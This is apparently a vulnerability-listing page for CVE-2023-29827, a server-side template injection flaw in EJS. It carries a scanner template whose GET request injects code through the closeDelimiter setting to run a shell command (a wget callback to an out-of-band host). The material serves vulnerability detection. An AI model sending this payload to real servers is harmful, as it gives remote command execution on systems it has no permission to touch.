CVE-2023-29827: Embedded JavaScript(EJS) 3.1.6 - Template Injection

2025-08-01 Embedded JavaScript PoC Public

Description

ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.

PoC

id: CVE-2023-29827

info:
  name: Embedded JavaScript(EJS) 3.1.6 - Template Injection
  author: ritikchaddha
  severity: critical
  description: |
    ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.
  impact: |
    High impact as it enables remote code execution.
  remediation: |
    Update EJS to the latest version to mitigate the vulnerability.
  reference:
    - https://github.com/mde/ejs/issues/720
    - https://github.com/mde/ejs/blob/main/SECURITY.md#out-of-scope-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29827
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-29827
    cwe-id: CWE-74
    epss-score: 0.05552
    epss-percentile: 0.92634
    cpe: cpe:2.3:a:ejs:ejs:3.1.9:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ejs
    product: ejs
    framework: node.js
  tags: cve,cve2023,ssti,rce,ejs,oast,node.js,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27)%3b//"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "You are viewing page number"
# digest: 4a0a00473045022064219ad82cbc47fbb7bb4359f5307d278f6c6153dec80e773d96dfa2f3e9e404022100922c7cf213051b30a3342c8d14eec98e5a69ffd42f22feba37ec6d0ed7dfac4e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities